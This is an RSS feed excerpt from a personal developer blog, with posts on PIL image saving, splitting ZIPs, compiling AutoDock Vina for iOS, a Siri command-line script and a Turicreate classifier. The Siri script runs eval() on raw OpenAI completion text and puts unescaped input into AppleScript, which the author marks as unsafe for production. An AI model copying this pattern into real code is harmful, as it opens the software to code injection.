<span class="n">img</span> <span class="o">=</span> <span class="n">PIL</span><span class="o">.</span><span class="n">Image</span><span class="o">.</span><span class="n">fromarray</span><span class="p">(</span><span class="n">arr</span><span class="p">)</span>
</code></pre>
</div>
<h2 id="saving-an-image">Saving an Image</h2>
<div class="codehilite">
<pre><span></span><code><span class="k">try</span><span class="p">:</span>
<span class="n">img</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="n">destination</span><span class="p">,</span> <span class="s2">"JPEG"</span><span class="p">,</span> <span class="n">quality</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="n">optimize</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span> <span class="n">progressive</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="k">except</span> <span class="ne">IOError</span><span class="p">:</span>
<span class="n">PIL</span><span class="o">.</span><span class="n">ImageFile</span><span class="o">.</span><span class="n">MAXBLOCK</span> <span class="o">=</span> <span class="n">img</span><span class="o">.</span><span class="n">size</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="n">img</span><span class="o">.</span><span class="n">size</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">img</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="n">destination</span><span class="p">,</span> <span class="s2">"JPEG"</span><span class="p">,</span> <span class="n">quality</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="n">optimize</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span> <span class="n">progressive</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</code></pre>
</div>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2019-12-08-Splitting-Zips.html
</guid>
<title>
Splitting ZIPs into Multiple Parts
</title>
<description>
Short code snippet for splitting zips.
</description>
<link>https://web.navan.dev/posts/2019-12-08-Splitting-Zips.html</link>
<pubDate>Sun, 08 Dec 2019 13:27:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="splitting-zips-into-multiple-parts">Splitting ZIPs into Multiple Parts</h1>
<p><strong>Tested on macOS</strong></p>
<p>Creating the archive:</p>
<div class="codehilite">
<pre><span></span><code><span class="nt">zip</span><span class="na"> -r -s 5 oodlesofnoodles.zip website/</span>
</code></pre>
</div>
<p>5 stands for each split files' size (in mb, kb and gb can also be specified)</p>
<p>For encrypting the zip:</p>
<div class="codehilite">
<pre><span></span><code><span class="nt">zip</span><span class="na"> -er -s 5 oodlesofnoodles.zip website</span>
</code></pre>
</div>
<p>Extracting Files</p>
<p>First we need to collect all parts, then</p>
<div class="codehilite">
<pre><span></span><code><span class="nt">zip</span><span class="na"> -F oodlesofnoodles.zip --out merged.zip</span>
</code></pre>
</div>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-06-02-Compiling-AutoDock-Vina-on-iOS.html
</guid>
<title>
Compiling AutoDock Vina on iOS
</title>
<description>
Compiling AutoDock Vina on iOS
</description>
<link>https://web.navan.dev/posts/2020-06-02-Compiling-AutoDock-Vina-on-iOS.html</link>
<pubDate>Tue, 02 Jun 2020 23:23:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="compiling-autodock-vina-on-ios">Compiling AutoDock Vina on iOS</h1>
<p>Why? Because I can.</p>
<h2 id="installing-makedepend">Installing makedepend</h2>
<p><code>makedepend</code> is a Unix tool used to generate dependencies of C source files. Most modern programs do not use this anymore, but then again AutoDock Vina's source code hasn't been changed since 2011. The first hurdle came when I saw that there was no makedepend command, neither was there any package on any development repository for iOS. So, I tracked down the original source code for <code>makedepend</code> (https://github.com/DerellLicht/makedepend). According to the repository this is actually the source code for the makedepend utility that came with some XWindows distribution back around Y2K. I am pretty sure there is a problem with my current compiler configuration because I had to manually edit the <code>Makefile</code> to provide the path to the iOS SDKs using the <code>-isysroot</code> flag.</p>
<h2 id="editing-the-makefile">Editing the Makefile</h2>
<p>Original Makefile ( I used the provided mac Makefile base )</p>
<pre><code>BASE=/usr/local
BOOST_VERSION=1_41
BOOST_INCLUDE = $(BASE)/include
C_PLATFORM=-arch i386 -arch ppc -isysroot /Developer/SDKs/MacOSX10.5.sdk -mmacosx-version-min=10.4
GPP=/usr/bin/g++
C_OPTIONS= -O3 -DNDEBUG
BOOST_LIB_VERSION=
include ../../makefile_common
</code></pre>
<p>I installed Boost 1.68.0-1 from Sam Bingner's repository. ( Otherwise I would have had to compile boost too 😫 )</p>
<p>Edited Makefile</p>
<pre><code>BASE=/usr
BOOST_VERSION=1_68
BOOST_INCLUDE = $(BASE)/include
C_PLATFORM=-arch arm64 -isysroot /var/sdks/Latest.sdk
GPP=/usr/bin/g++
C_OPTIONS= -O3 -DNDEBUG
BOOST_LIB_VERSION=
include ../../makefile_common
</code></pre>
<h2 id="updating-the-source-code">Updating the Source Code</h2>
<p>Of course since Boost 1.41 many things have been added and deprecated, that is why I had to edit the source code to make it work with version 1.68</p>
<h3 id="error-1-no-matching-constructor">Error 1 - No Matching Constructor</h3>
<pre><code>../../../src/main/main.cpp:50:9: error: no matching constructor for initialization of 'path' (aka 'boost::filesystem::path')
return path(str, boost::filesystem::native);
</code></pre>
<p>This was an easy fix, I just commented this and added a return statement to return the path</p>
<pre><code>return path(str)
</code></pre>
<h3 id="error-2-no-member-named-native_file_string">Error 2 - No Member Named 'native<em>file</em>string'</h3>
<pre><code>../../../src/main/main.cpp:665:57: error: no member named 'native_file_string' in 'boost::filesystem::path'
std::cerr << "\n\nError: could not open \"" << e.name.native_file_string() << "\" for " << (e.in ? "reading" : "writing") << ".\n";
~~~~~~ ^
../../../src/main/main.cpp:677:80: error: no member named 'native_file_string' in 'boost::filesystem::path'
std::cerr << "\n\nParse error on line " << e.line << " in file \"" << e.file.native_file_string() << "\": " << e.reason << '\n';
~~~~~~ ^
2 errors generated.
</code></pre>
<p>Turns out <code>native_file_string</code> was deprecated in Boost 1.57 and replaced with just <code>string</code></p>
<h3 id="error-3-library-not-found">Error 3 - Library Not Found</h3>
<p>This one still boggles me because there was no reason for it to not work, as a workaround I downloaded the DEB, extracted it and used that path for compiling.</p>
<h3 id="error-4-no-member-named-native_file_string-again">Error 4 - No Member Named 'native<em>file</em>string' Again.</h3>
<p>But, this time in another file and I quickly fixed it</p>
<h2 id="moment-of-truth">Moment of Truth</h2>
<p>Obviously it was working on my iPad, but would it work on another device? I transferred the compiled binary and </p>
<p><img src="/assets/posts/autodock-vina/s1.png" alt=""AutoDock Vina running on my iPhone"" /></p>
<p>The package is available on my repository and only depends on boost. ( Both, Vina and Vina-Split are part of the package)</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2023-02-08-Interact-with-siri-from-the-terminal.html
</guid>
<title>
Interacting with Siri using the command line
</title>
<description>
Code snippet to interact with Siri by issuing commands from the command-line.
</description>
<link>https://web.navan.dev/posts/2023-02-08-Interact-with-siri-from-the-terminal.html</link>
<pubDate>Wed, 08 Feb 2023 17:21:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="interacting-with-siri-using-the-command-line">Interacting with Siri using the command line</h1>
<p>My main objective was to see if I could issue multi-intent commands in one go. Obviously, Siri cannot do that (neither can Alexa, Cortana, or Google Assistant). The script here can issue either a single command, or use the help of OpenAI's DaVinci model to extract multiple commands and pass them onto siri.</p>
<h2 id="prerequisites">Prerequisites</h2>
<ul>
<li>Run macOS</li>
<li>Enable type to Siri (Settings > Accessibility -> Type to Siri)</li>
<li>Enable the Terminal to control System Events (The first time you run the script, it will prompt you to enable it)</li>
</ul>
<h2 id="show-me-ze-code">Show me ze code</h2>
<p>If you are here just for the code:</p>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">argparse</span>
<span class="kn">import</span> <span class="nn">applescript</span>
<span class="kn">import</span> <span class="nn">openai</span>
<span class="kn">from</span> <span class="nn">os</span> <span class="kn">import</span> <span class="n">getenv</span>
<span class="n">openai</span><span class="o">.</span><span class="n">api_key</span> <span class="o">=</span> <span class="n">getenv</span><span class="p">(</span><span class="s2">"OPENAI_KEY"</span><span class="p">)</span>
<span class="n">engine</span> <span class="o">=</span> <span class="s2">"text-davinci-003"</span>
<span class="k">def</span> <span class="nf">execute_with_llm</span><span class="p">(</span><span class="n">command_text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-></span> <span class="kc">None</span><span class="p">:</span>
<span class="n">llm_prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">"""You are provided with multiple commands as a single command. Break down all the commands and return them in a list of strings. If you are provided with a single command, return a list with a single string, trying your best to understand the command.</span>
<span class="s2"> Example:</span>
<span class="s2"> Q: "Turn on the lights and turn off the lights"</span>
<span class="s2"> A: ["Turn on the lights", "Turn off the lights"]</span>
<span class="s2"> Q: "Switch off the lights and then play some music"</span>
<span class="s2"> A: ["Switch off the lights", "Play some music"]</span>
<span class="s2"> Q: "I am feeling sad today, play some music"</span>
<span class="s2"> A: ["Play some cheerful music"]</span>
<span class="s2"> Q: "</span><span class="si">{</span><span class="n">command_text</span><span class="si">}</span><span class="s2">"</span>
<span class="s2"> A: </span>
<span class="s2"> """</span>
<span class="n">completion</span> <span class="o">=</span> <span class="n">openai</span><span class="o">.</span><span class="n">Completion</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="n">engine</span><span class="o">=</span><span class="n">engine</span><span class="p">,</span> <span class="n">prompt</span><span class="o">=</span><span class="n">llm_prompt</span><span class="p">,</span> <span class="n">max_tokens</span><span class="o">=</span><span class="nb">len</span><span class="p">(</span><span class="n">command_text</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">" "</span><span class="p">))</span><span class="o">*</span><span class="mi">2</span><span class="p">)</span>
<span class="k">for</span> <span class="n">task</span> <span class="ow">in</span> <span class="nb">eval</span><span class="p">(</span><span class="n">completion</span><span class="o">.</span><span class="n">choices</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">text</span><span class="p">):</span>
<span class="n">execute_command</span><span class="p">(</span><span class="n">task</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">execute_command</span><span class="p">(</span><span class="n">command_text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-></span> <span class="kc">None</span><span class="p">:</span>
<span class="w"> </span><span class="sd">"""Execute a Siri command."""</span>
<span class="n">script</span> <span class="o">=</span> <span class="n">applescript</span><span class="o">.</span><span class="n">AppleScript</span><span class="p">(</span><span class="sa">f</span><span class="s2">"""</span>
<span class="s2"> tell application "System Events" to tell the front menu bar of process "SystemUIServer"</span>
<span class="s2"> tell (first menu bar item whose description is "Siri")</span>
<span class="s2"> perform action "AXPress"</span>
<span class="s2"> end tell</span>
<span class="s2"> end tell</span>
<span class="s2"> delay 2</span>
<span class="s2"> tell application "System Events"</span>
<span class="s2"> set textToType to "</span><span class="si">{</span><span class="n">command_text</span><span class="si">}</span><span class="s2">"</span>
<span class="s2"> keystroke textToType</span>
<span class="s2"> key code 36</span>
<span class="s2"> end tell</span>
<span class="s2"> """</span><span class="p">)</span>
<span class="n">script</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="o">.</span><span class="n">ArgumentParser</span><span class="p">()</span>
<span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s2">"command"</span><span class="p">,</span> <span class="n">nargs</span><span class="o">=</span><span class="s2">"?"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s2">"The command to pass to Siri"</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="s2">"What time is it?"</span><span class="p">)</span>
<span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">'--openai'</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="n">argparse</span><span class="o">.</span><span class="n">BooleanOptionalAction</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s2">"Use OpenAI to detect multiple intents"</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse_args</span><span class="p">()</span>
<span class="k">if</span> <span class="n">args</span><span class="o">.</span><span class="n">openai</span><span class="p">:</span>
<span class="n">execute_with_llm</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">command</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">execute_command</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">command</span><span class="p">)</span>
</code></pre>
</div>
<p>Usage:</p>
<div class="codehilite">
<pre><span></span><code>python3<span class="w"> </span>main.py<span class="w"> </span><span class="s2">"play some taylor swift"</span>
python3<span class="w"> </span>main.py<span class="w"> </span><span class="s2">"turn off the lights and play some music"</span><span class="w"> </span>--openai
</code></pre>
</div>
<h2 id="eli5">ELI5</h2>
<p>I am not actually going to explain it as if I am explaining to a five-year old kid.</p>
<h3 id="applescript">AppleScript</h3>
<p>In the age of Siri Shortcuts, AppleScript can still do more. It is a scripting language created by Apple that can help you automate pretty much anything you see on your screen.</p>
<p>We use the following AppleScript to trigger Siri and then type in our command:</p>
<div class="codehilite">
<pre><span></span><code><span class="k">tell</span> <span class="nb">application</span> <span class="s2">"System Events"</span> <span class="k">to</span> <span class="k">tell</span> <span class="nb">the</span> <span class="nb">front</span> <span class="na">menu</span> <span class="nv">bar</span> <span class="k">of</span> <span class="nv">process</span> <span class="s2">"SystemUIServer"</span>
<span class="k">tell</span> <span class="p">(</span><span class="nb">first</span> <span class="na">menu</span> <span class="nv">bar</span> <span class="nb">item</span> <span class="nb">whose</span> <span class="nv">description</span> <span class="ow">is</span> <span class="s2">"Siri"</span><span class="p">)</span>
<span class="nb">perform action</span> <span class="s2">"AXPress"</span>
<span class="k">end</span> <span class="k">tell</span>
<span class="k">end</span> <span class="k">tell</span>
<span class="nb">delay</span> <span class="mi">2</span>
<span class="k">tell</span> <span class="nb">application</span> <span class="s2">"System Events"</span>
<span class="k">set</span> <span class="nv">textToType</span> <span class="k">to</span> <span class="s2">"Play some rock music"</span>
<span class="nv">keystroke</span> <span class="nv">textToType</span>
<span class="na">key code</span> <span class="mi">36</span>
<span class="k">end</span> <span class="k">tell</span>
</code></pre>
</div>
<p>This first triggers Siri, waits for a couple of seconds, and then types in our command. In the script, this functionality is handled by the <code>execute_command</code> function.</p>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">applescript</span>
<span class="k">def</span> <span class="nf">execute_command</span><span class="p">(</span><span class="n">command_text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-></span> <span class="kc">None</span><span class="p">:</span>
<span class="w"> </span><span class="sd">"""Execute a Siri command."""</span>
<span class="n">script</span> <span class="o">=</span> <span class="n">applescript</span><span class="o">.</span><span class="n">AppleScript</span><span class="p">(</span><span class="sa">f</span><span class="s2">"""</span>
<span class="s2"> tell application "System Events" to tell the front menu bar of process "SystemUIServer"</span>
<span class="s2"> tell (first menu bar item whose description is "Siri")</span>
<span class="s2"> perform action "AXPress"</span>
<span class="s2"> end tell</span>
<span class="s2"> end tell</span>
<span class="s2"> delay 2</span>
<span class="s2"> tell application "System Events"</span>
<span class="s2"> set textToType to "</span><span class="si">{</span><span class="n">command_text</span><span class="si">}</span><span class="s2">"</span>
<span class="s2"> keystroke textToType</span>
<span class="s2"> key code 36</span>
<span class="s2"> end tell</span>
<span class="s2"> """</span><span class="p">)</span>
<span class="n">script</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
</code></pre>
</div>
<h3 id="multi-intent-commands">Multi-Intent Commands</h3>
<p>We can call OpenAI's API to autocomplete our prompt and extract multiple commands. We don't need to use OpenAI's API, and can also simply use Google's Flan-T5 model using HuggingFace's transformers library. </p>
<h4 id="ze-prompt">Ze Prompt</h4>
<div class="codehilite">
<pre><span></span><code>You are provided with multiple commands as a single command. Break down all the commands and return them in a list of strings. If you are provided with a single command, return a list with a single string, trying your best to understand the command.
Example:
Q: "Turn on the lights and turn off the lights"
A: ["Turn on the lights", "Turn off the lights"]
Q: "Switch off the lights and then play some music"
A: ["Switch off the lights", "Play some music"]
Q: "I am feeling sad today, play some music"
A: ["Play some cheerful music"]
Q: "{command_text}"
A:
</code></pre>
</div>
<p>This prompt gives the model a few examples to increase the generation accuracy, along with instructing it to return a Python list. </p>
<h4 id="ze-code">Ze Code</h4>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">openai</span>
<span class="kn">from</span> <span class="nn">os</span> <span class="kn">import</span> <span class="n">getenv</span>
<span class="n">openai</span><span class="o">.</span><span class="n">api_key</span> <span class="o">=</span> <span class="n">getenv</span><span class="p">(</span><span class="s2">"OPENAI_KEY"</span><span class="p">)</span>
<span class="n">engine</span> <span class="o">=</span> <span class="s2">"text-davinci-003"</span>
<span class="k">def</span> <span class="nf">execute_with_llm</span><span class="p">(</span><span class="n">command_text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-></span> <span class="kc">None</span><span class="p">:</span>
<span class="n">llm_prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">"""You are provided with multiple commands as a single command. Break down all the commands and return them in a list of strings. If you are provided with a single command, return a list with a single string, trying your best to understand the command.</span>
<span class="s2"> Example:</span>
<span class="s2"> Q: "Turn on the lights and turn off the lights"</span>
<span class="s2"> A: ["Turn on the lights", "Turn off the lights"]</span>
<span class="s2"> Q: "Switch off the lights and then play some music"</span>
<span class="s2"> A: ["Switch off the lights", "Play some music"]</span>
<span class="s2"> Q: "I am feeling sad today, play some music"</span>
<span class="s2"> A: ["Play some cheerful music"]</span>
<span class="s2"> Q: "</span><span class="si">{</span><span class="n">command_text</span><span class="si">}</span><span class="s2">"</span>
<span class="s2"> A: </span>
<span class="s2"> """</span>
<span class="n">completion</span> <span class="o">=</span> <span class="n">openai</span><span class="o">.</span><span class="n">Completion</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="n">engine</span><span class="o">=</span><span class="n">engine</span><span class="p">,</span> <span class="n">prompt</span><span class="o">=</span><span class="n">llm_prompt</span><span class="p">,</span> <span class="n">max_tokens</span><span class="o">=</span><span class="nb">len</span><span class="p">(</span><span class="n">command_text</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">" "</span><span class="p">))</span><span class="o">*</span><span class="mi">2</span><span class="p">)</span>
<span class="k">for</span> <span class="n">task</span> <span class="ow">in</span> <span class="nb">eval</span><span class="p">(</span><span class="n">completion</span><span class="o">.</span><span class="n">choices</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">text</span><span class="p">):</span> <span class="c1"># NEVER EVAL IN PROD RIGHT LIKE THIS</span>
<span class="n">execute_command</span><span class="p">(</span><span class="n">task</span><span class="p">)</span>
</code></pre>
</div>
<h3 id="gluing-together-code">Gluing together code</h3>
<p>To finish it all off, we can use argparse to only send the input command to OpenAI when asked to do so.</p>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">argparse</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="o">.</span><span class="n">ArgumentParser</span><span class="p">()</span>
<span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s2">"command"</span><span class="p">,</span> <span class="n">nargs</span><span class="o">=</span><span class="s2">"?"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s2">"The command to pass to Siri"</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="s2">"What time is it?"</span><span class="p">)</span>
<span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">'--openai'</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="n">argparse</span><span class="o">.</span><span class="n">BooleanOptionalAction</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s2">"Use OpenAI to detect multiple intents"</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse_args</span><span class="p">()</span>
<span class="k">if</span> <span class="n">args</span><span class="o">.</span><span class="n">openai</span><span class="p">:</span>
<span class="n">execute_with_llm</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">command</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">execute_command</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">command</span><span class="p">)</span>
</code></pre>
</div>
<h2 id="conclusion">Conclusion</h2>
<p>Siri is still dumb. When I ask it to <code>Switch off the lights</code>, it default to the home thousands of miles away. But, this code snippet definitely does work!</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-01-16-Image-Classifier-Using-Turicreate.html
</guid>
<title>
Creating a Custom Image Classifier using Turicreate to detect Smoke and Fire
</title>
<description>
Tutorial on creating a custom Image Classifier using Turicreate and a dataset from Kaggle
</description>
<link>https://web.navan.dev/posts/2020-01-16-Image-Classifier-Using-Turicreate.html</link>
<pubDate>Thu, 16 Jan 2020 10:36:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="creating-a-custom-image-classifier-using-turicreate-to-detect-smoke-and-fire">Creating a Custom Image Classifier using Turicreate to detect Smoke and Fire</h1>
<p><em>For setting up Kaggle with Google Colab, please refer to <a rel="noopener" target="_blank" href="/posts/2020-01-15-Setting-up-Kaggle-to-use-with-Colab"> my previous post</a></em></p>
<h2 id="dataset">Dataset</h2>
<h3 id="mounting-google-drive">Mounting Google Drive</h3>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">from</span> <span class="nn">google.colab</span> <span class="kn">import</span> <span class="n">drive</span>
<span class="n">drive</span><span class="o">.</span><span class="n">mount</span><span class="p">(</span><span class="s1">'/content/drive'</span><span class="p">)</span>
</code></pre>
</div>
<h3 id="downloading-dataset-from-kaggle">Downloading Dataset from Kaggle</h3>
<div class="codehilite">
<pre><span></span><code><span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s1">'KAGGLE_CONFIG_DIR'</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"/content/drive/My Drive/"</span>
<span class="err">!</span><span class="n">kaggle</span> <span class="n">datasets</span> <span class="n">download</span> <span class="n">ashutosh69</span><span class="o">/</span><span class="n">fire</span><span class="o">-</span><span class="ow">and</span><span class="o">-</span><span class="n">smoke</span><span class="o">-</span><span class="n">dataset</span>
<span class="err">!</span><span class="n">unzip</span> <span class="s2">"fire-and-smoke-dataset.zip"</span>
</code></pre>
</div>
<h2 id="pre-processing">Pre-Processing</h2>
<div class="codehilite">
<pre><span></span><code><span class="nt">!mkdir</span><span class="na"> default smoke fire</span>
</code></pre>
</div>
<p>\</p>
<div class="codehilite">
<pre><span></span><code><span class="nt">!ls</span><span class="na"> data/data/img_data/train/default/*.jpg</span>
</code></pre>
</div>
<p>\</p>
<div class="codehilite">
<pre><span></span><code><span class="nt">img_1002.jpg</span><span class="na"> img_20.jpg img_519.jpg img_604.jpg img_80.jpg</span>
<span class="na">img_1003.jpg img_21.jpg img_51.jpg img_60.jpg img_8.jpg</span>
<span class="na">img_1007.jpg img_22.jpg img_520.jpg img_61.jpg img_900.jpg</span>
<span class="na">img_100.jpg img_23.jpg img_521.jpg 'img_62 (2).jpg' img_920.jpg</span>
<span class="na">img_1014.jpg img_24.jpg 'img_52 (2).jpg' img_62.jpg img_921.jpg</span>
<span class="na">img_1018.jpg img_29.jpg img_522.jpg 'img_63 (2).jpg' img_922.jpg</span>
<span class="na">img_101.jpg img_3000.jpg img_523.jpg img_63.jpg img_923.jpg</span>
<span class="na">img_1027.jpg img_335.jpg img_524.jpg img_66.jpg img_924.jpg</span>
<span class="na">img_102.jpg img_336.jpg img_52.jpg img_67.jpg img_925.jpg</span>
<span class="na">img_1042.jpg img_337.jpg img_530.jpg img_68.jpg img_926.jpg</span>
<span class="na">img_1043.jpg img_338.jpg img_531.jpg img_700.jpg img_927.jpg</span>
<span class="na">img_1046.jpg img_339.jpg 'img_53 (2).jpg' img_701.jpg img_928.jpg</span>
<span class="na">img_1052.jpg img_340.jpg img_532.jpg img_702.jpg img_929.jpg</span>
<span class="na">img_107.jpg img_341.jpg img_533.jpg img_703.jpg img_930.jpg</span>
<span class="na">img_108.jpg img_3.jpg img_537.jpg img_704.jpg img_931.jpg</span>
<span class="na">img_109.jpg img_400.jpg img_538.jpg img_705.jpg img_932.jpg</span>
<span class="na">img_10.jpg img_471.jpg img_539.jpg img_706.jpg img_933.jpg</span>
<span class="na">img_118.jpg img_472.jpg img_53.jpg img_707.jpg img_934.jpg</span>
<span class="na">img_12.jpg img_473.jpg img_540.jpg img_708.jpg img_935.jpg</span>
<span class="na">img_14.jpg img_488.jpg img_541.jpg img_709.jpg img_938.jpg</span>
<span class="na">img_15.jpg img_489.jpg 'img_54 (2).jpg' img_70.jpg img_958.jpg</span>
<span class="na">img_16.jpg img_490.jpg img_542.jpg img_710.jpg img_971.jpg</span>
<span class="na">img_17.jpg img_491.jpg img_543.jpg 'img_71 (2).jpg' img_972.jpg</span>
<span class="na">img_18.jpg img_492.jpg img_54.jpg img_71.jpg img_973.jpg</span>
<span class="na">img_19.jpg img_493.jpg 'img_55 (2).jpg' img_72.jpg img_974.jpg</span>
<span class="na">img_1.jpg img_494.jpg img_55.jpg img_73.jpg img_975.jpg</span>
<span class="na">img_200.jpg img_495.jpg img_56.jpg img_74.jpg img_980.jpg</span>
<span class="na">img_201.jpg img_496.jpg img_57.jpg img_75.jpg img_988.jpg</span>
<span class="na">img_202.jpg img_497.jpg img_58.jpg img_76.jpg img_9.jpg</span>
<span class="na">img_203.jpg img_4.jpg img_59.jpg img_77.jpg</span>
<span class="na">img_204.jpg img_501.jpg img_601.jpg img_78.jpg</span>
<span class="na">img_205.jpg img_502.jpg img_602.jpg img_79.jpg</span>
<span class="na">img_206.jpg img_50.jpg img_603.jpg img_7.jpg</span>
</code></pre>
</div>
<p>The image files are not actually JPEG, thus we first need to save them in the correct format for Turicreate</p>
<div class="codehilite">
<pre><span></span><code><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
<span class="kn">import</span> <span class="nn">glob</span>
<span class="n">folders</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"default"</span><span class="p">,</span><span class="s2">"smoke"</span><span class="p">,</span><span class="s2">"fire"</span><span class="p">]</span>
<span class="k">for</span> <span class="n">folder</span> <span class="ow">in</span> <span class="n">folders</span><span class="p">:</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">for</span> <span class="n">file</span> <span class="ow">in</span> <span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="s2">"./data/data/img_data/train/"</span> <span class="o">+</span> <span class="n">folder</span> <span class="o">+</span> <span class="s2">"/*.jpg"</span><span class="p">):</span>
<span class="n">im</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="n">file</span><span class="p">)</span>
<span class="n">rgb_im</span> <span class="o">=</span> <span class="n">im</span><span class="o">.</span><span class="n">convert</span><span class="p">(</span><span class="s1">'RGB'</span><span class="p">)</span>
<span class="n">rgb_im</span><span class="o">.</span><span class="n">save</span><span class="p">((</span><span class="n">folder</span> <span class="o">+</span> <span class="s2">"/"</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">n</span><span class="p">)</span> <span class="o">+</span> <span class="s2">".jpg"</span><span class="p">),</span> <span class="n">quality</span><span class="o">=</span><span class="mi">100</span><span class="p">)</span>
<span class="n">n</span> <span class="o">+=</span><span class="mi">1</span>
<span class="k">for</span> <span class="n">file</span> <span class="ow">in</span> <span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="s2">"./data/data/img_data/train/"</span> <span class="o">+</span> <span class="n">folder</span> <span class="o">+</span> <span class="s2">"/*.jpg"</span><span class="p">):</span>
<span class="n">im</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="n">file</span><span class="p">)</span>
<span class="n">rgb_im</span> <span class="o">=</span> <span class="n">im</span><span class="o">.</span><span class="n">convert</span><span class="p">(</span><span class="s1">'RGB'</span><span class="p">)</span>
<span class="n">rgb_im</span><span class="o">.</span><span class="n">save</span><span class="p">((</span><span class="n">folder</span> <span class="o">+</span> <span class="s2">"/"</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">n</span><span class="p">)</span> <span class="o">+</span> <span class="s2">".jpg"</span><span class="p">),</span> <span class="n">quality</span><span class="o">=</span><span class="mi">100</span><span class="p">)</span>
<span class="n">n</span> <span class="o">+=</span><span class="mi">1</span>
</code></pre>
</div>
<p>\</p>
<div class="codehilite">
<pre><span></span><code><span class="nt">!mkdir</span><span class="na"> train</span>
<span class="na">!mv default ./train</span>
<span class="na">!mv smoke ./train</span>
<span class="na">!mv fire ./train</span>
</code></pre>
</div>
<h2 id="making-the-image-classifier">Making the Image Classifier</h2>
